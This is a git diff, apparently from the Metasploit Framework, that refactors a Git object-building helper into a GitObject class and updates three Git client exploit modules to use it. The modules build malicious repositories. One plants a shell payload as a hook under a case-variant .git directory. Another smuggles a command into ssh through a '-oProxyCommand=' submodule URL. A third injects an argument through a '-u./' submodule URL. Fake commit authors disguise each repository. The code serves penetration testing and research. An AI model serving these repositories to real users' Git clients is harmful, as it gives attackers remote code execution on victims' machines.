diff --git a/lib/msf/core/exploit/git.rb b/lib/msf/core/exploit/git.rb index 10d21a2fe4..65b43a4617 100644 --- a/lib/msf/core/exploit/git.rb +++ b/lib/msf/core/exploit/git.rb @@ -5,78 +5,65 @@ module Msf # This mixin provides helper functions for building Git repositories module Exploit::Git - def initialize(info = {}) - super + class GitObject - @repo = - { - head: 'ref: refs/heads/master', - objs: Array.new - } - end + attr_reader :type, :content, :sha1, :path, :compressed - # Generate a commit message using fake names and emails - def fake_commit_message - email = Rex::Text.rand_mail_address - first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten - full_name = "#{first.capitalize} #{last.capitalize}" - tstamp = Time.now.to_i - author_time = rand(tstamp) - commit_time = rand(author_time) - tz_off = rand(10) - commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \ - "committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \ - "\n" \ - "Initial commit to open git repository for #{company}!\n" - commit - end - - def build_blob_object(content) - build_object('blob', content) - end - - def build_commit_object(full_name = nil, email = nil, tree_sha1) - full_name ||= Faker::Name.name - email ||= Faker::Internet.email(name: full_name, separators: ['-', '_']) - company = Faker::Company.name - - tstamp = Time.now.to_i - author_time = rand(tstamp) - commit_time = rand(author_time) - tz_off = rand(10) - commit_msg = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \ - "committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \ - "\n" \ - "Initial commit to open git repository for #{company}!\n" - - commit = "tree #{tree_sha1}\n#{commit_msg}" - build_object('commit', commit) - end - - # Accepts array of hashes where - # hash consists file name, mode, - # and sha1 hash for contents of file - def build_tree_object(tree_entries) - tree = '' - tree_entries.each do |entry| - tree += "#{entry[:mode]} #{entry[:file_name]}\0#{[entry[:sha1]].pack('H*')}" + def initialize(type, content, sha1, compressed) + @type = type + @content = content + @sha1 = sha1 + @compressed = compressed + @path = "#{@sha1[0...2]}/#{@sha1[2..40]}" end - build_object('tree', tree) - end + def self.build_commit_object(tree_sha1) + full_name = Faker::Name.name + email = Faker::Internet.email(name: full_name, separators: ['-', '_']) + company = Faker::Company.name - # Builds a Git object - def build_object(type, content) - # taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html - header = "#{type} #{content.size}\0" - store = header + content - [Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)] - end + tstamp = Time.now.to_i + author_time = rand(tstamp) + commit_time = rand(author_time) + tz_off = rand(10) + commit_msg = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \ + "committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \ + "\n" \ + "Initial commit to open git repository for #{company}!\n" - # Returns the Git object path name that a file with the provided SHA1 will reside in - def get_path(sha1) - sha1[0...2] + '/' + sha1[2..40] - end + commit = "tree #{tree_sha1}\n#{commit_msg}" + sha1, compressed = build_object('commit', commit) + GitObject.new('commit', commit, sha1, compressed) + end + def self.build_blob_object(content) + sha1, compressed = build_object('blob', content) + GitObject.new('blob', content, sha1, compressed) + end + + # Accepts array of hashes where + # hash consists file name, mode, + # and sha1 hash for contents of file + def self.build_tree_object(tree_entries) + tree = '' + unless tree_entries.is_a?(Array) + tree_entries = [ tree_entries ] + end + + tree_entries.each do |entry| + tree += "#{entry[:mode]} #{entry[:file_name]}\0#{[entry[:sha1]].pack('H*')}" + end + + sha1, compressed = build_object('tree', tree) + GitObject.new('tree', tree, sha1, compressed) + end + + def self.build_object(type, content) + # taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html + header = "#{type} #{content.size}\0" + store = header + content + [Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)] + end + end end end diff --git a/modules/exploits/multi/http/git_client_command_exec.rb b/modules/exploits/multi/http/git_client_command_exec.rb index f19bb00f3f..2a8e4ce302 100644 --- a/modules/exploits/multi/http/git_client_command_exec.rb +++ b/modules/exploits/multi/http/git_client_command_exec.rb @@ -158,16 +158,18 @@ class MetasploitModule < Msf::Exploit::Remote full_cmd = "#!/bin/sh\n#{psh}" end - sha1, content = build_object('blob', full_cmd) - trigger = "/objects/#{get_path(sha1)}" + blob_obj = Msf::Exploit::Git::GitObject.build_blob_object(full_cmd) + trigger = "/objects/#{blob_obj.path}" @repo_data[:git][:trigger] = trigger - @repo_data[:git][:files][trigger] = content + @repo_data[:git][:files][trigger] = blob_obj.compressed # build tree that points to the blob - sha1, content = build_object('tree', "100755 #{datastore['GIT_HOOK']}\0#{[sha1].pack('H*')}") - @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content + blob_tree_ent = { mode: '100755', file_name: datastore['GIT_HOOK'], sha1: blob_obj.sha1 } + blob_tree_ptr = Msf::Exploit::Git::GitObject.build_tree_object(blob_tree_ent) + @repo_data[:git][:files]["/objects/#{blob_tree_ptr.path}"] = blob_tree_ptr.compressed # build a tree that points to the hooks directory in which the hook lives, called hooks - sha1, content = build_object('tree', "40000 hooks\0#{[sha1].pack('H*')}") - @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content + hooks_ent = { mode: 40000, file_name: 'hooks', sha1: blob_tree_ptr.sha1 } + hooks_obj = Msf::Exploit::Git::GitObject.build_tree_object(hooks_ent) + @repo_data[:git][:files]["/objects/#{hooks_obj.path}"] = hooks_obj.compressed # build a tree that points to the partially uppercased .git directory in # which hooks live variants = [] @@ -180,19 +182,20 @@ class MetasploitModule < Msf::Exploit::Remote end end git_dir = '.' + variants.sample - sha1, content = build_object('tree', "40000 #{git_dir}\0#{[sha1].pack('H*')}") - @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content + git_tree_ent = { mode: '40000', file_name: git_dir, sha1: hooks_obj.sha1 } + git_tree_obj = Msf::Exploit::Git::GitObject.build_tree_object(git_tree_ent) + @repo_data[:git][:files]["/objects/#{git_tree_obj.path}"] = git_tree_obj.compressed + commit_obj = Msf::Exploit::Git::GitObject.build_commit_object(git_tree_obj.sha1) if datastore['VERBOSE'] vprint_status("Malicious Git commit of #{git_dir}/#{datastore['GIT_HOOK']} is:") - commit.each_line { |l| vprint_status(l.strip) } + commit_obj.content.each_line { |l| vprint_status(l.strip) } end - sha1, content = build_object('commit', "tree #{sha1}\n#{fake_commit_message}") - @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content + @repo_data[:git][:files]["/objects/#{commit_obj.path}"] = commit_obj.compressed # build HEAD @repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n" # lastly, build refs - @repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n" + @repo_data[:git][:files]['/info/refs'] = "#{commit_obj.sha1}\trefs/heads/master\n" end def setup_mercurial diff --git a/modules/exploits/multi/http/git_submodule_command_exec.rb b/modules/exploits/multi/http/git_submodule_command_exec.rb index d7fd2799f2..22d959dcb7 100644 --- a/modules/exploits/multi/http/git_submodule_command_exec.rb +++ b/modules/exploits/multi/http/git_submodule_command_exec.rb @@ -91,29 +91,29 @@ class MetasploitModule < Msf::Exploit::Remote path = #{submodule_path} url = ssh://-oProxyCommand=#{payload_cmd}/ " - sha1, content = build_blob_object(gitmodules) - @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content + blob_obj = Msf::Exploit::Git::GitObject.build_blob_object(gitmodules) + @repo_data[:git][:files]["/objects/#{blob_obj.path}"] = blob_obj.compressed tree_entries = [ { mode: '100644', file_name: '.gitmodules', - sha1: sha1 + sha1: blob_obj.sha1 }, { mode: '160000', file_name: submodule_path, - sha1: sha1 + sha1: blob_obj.sha1 } ] - sha1, content = build_tree_object(tree_entries) - @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content + tree_obj = Msf::Exploit::Git::GitObject.build_tree_object(tree_entries) + @repo_data[:git][:files]["/objects/#{tree_obj.path}"] = tree_obj.compressed - sha1, content = build_commit_object(nil, nil, sha1) - @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content + commit_obj = Msf::Exploit::Git::GitObject.build_commit_object(tree_obj.sha1) + @repo_data[:git][:files]["/objects/#{commit_obj.path}"] = commit_obj.compressed @repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n" - @repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n" + @repo_data[:git][:files]['/info/refs'] = "#{commit_obj.sha1}\trefs/heads/master\n" end def exploit diff --git a/modules/exploits/multi/http/git_submodule_url_exec.rb b/modules/exploits/multi/http/git_submodule_url_exec.rb index 6181f76927..9d6bfb49b2 100644 --- a/modules/exploits/multi/http/git_submodule_url_exec.rb +++ b/modules/exploits/multi/http/git_submodule_url_exec.rb @@ -88,21 +88,36 @@ path = #{submodule_path} url = -u./#{payload_file} " - sha1, content = build_object('blob', gitmodules) - @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content - payloadsha1, content = build_object('blob', payload_content) - @repo_data[:git][:files]["/objects/#{get_path(payloadsha1)}"] = content + blob_obj = Msf::Exploit::Git::GitObject.build_blob_object(gitmodules) + @repo_data[:git][:files]["/objects/#{blob_obj.path}"] = blob_obj.compressed + payload_blob = Msf::Exploit::Git::GitObject.build_blob_object(payload_content) + @repo_data[:git][:files]["/objects/#{payload_blob.path}"] = payload_blob.compressed - tree = "100644 .gitmodules\0#{[sha1].pack('H*')}" - tree += "100744 #{payload_file}\0#{[payloadsha1].pack('H*')}" - tree += "160000 #{submodule_path}\0#{[sha1].pack('H*')}" - sha1, content = build_object('tree', tree) - @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content + tree_entries = + [ + { + mode: '100644', + file_name: '.gitmodules', + sha1: blob_obj.sha1 + }, + { + mode: '100744', + file_name: payload_file, + sha1: payload_blob.sha1 + }, + { + mode: '160000', + file_name: submodule_path, + sha1: blob_obj.sha1 + } + ] + tree_obj = Msf::Exploit::Git::GitObject.build_tree_object(tree_entries) + @repo_data[:git][:files]["/objects/#{tree_obj.path}"] = tree_obj.compressed - sha1, content = build_object('commit', "tree #{sha1}\n#{fake_commit_message}") - @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content + commit_obj = Msf::Exploit::Git::GitObject.build_commit_object(tree_obj.sha1) + @repo_data[:git][:files]["/objects/#{commit_obj.path}"] = commit_obj.compressed @repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n" - @repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n" + @repo_data[:git][:files]['/info/refs'] = "#{commit_obj.sha1}\trefs/heads/master\n" end def primer